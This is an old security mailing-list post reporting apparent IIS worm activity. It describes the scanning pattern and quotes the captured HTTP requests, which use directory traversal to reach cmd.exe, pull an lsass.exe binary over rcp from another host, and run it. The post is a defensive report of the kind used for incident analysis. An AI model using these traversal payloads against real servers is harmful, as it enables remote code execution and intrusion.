new IIS worm? (rcp lsass.exe)

From: Christian Mock (
Date: 09/21/02

Date: Sat, 21 Sep 2002 20:17:48 +0200
From: (Christian Mock)


since about a week I notice attempts to exploit vulnerable IIS installations
(they show up with snort's "WEB-IIS multiple decode attempt" signature)
that seems to try and load an "lsass.exe" file via rcp.

As a search of google and securityfocus turned up nothing, I'll throw in
what I gathered so far and ask if anybody can identify this: (it seems
the affected customer's systems weren't vulnerable, so I don't know what
the worm's further actions are).

The first part is a SYN scan for port 80, with the source port set to 80,
differing ACK numbers, but the same ISN. Interestingly, it iterates over
the 3rd IP address octet first, and the 4th later, probably to make the scan
on the single /24 slower and less noticeable (in the case I've seen, it
has some 30 seconds between packets to consecutive addresses).

Then it seems to go after the web servers, sending the following:

GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+rcp+-b+ HTTP/1.0..


GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+lsass.exe HTTP/1.0

I've been able to get hold of that lsass.exe binary (9728 bytes), but
I lack the skills to analyze it; I'll happily mail it to anybody who asks.

Yes, and the IP addresse doing the scanning + exploit attempts is different
from the one which provides lsass.exe; the scanning machine seems to be
a solaris 2.7 default install, the rcp-server seems to be solaris 2.8.



Christian Mock                          Wiedner Hauptstrasse 15
Senior Security Engineer                1040 Wien
CoreTEC IT Security Solutions GmbH      +43-1-5037273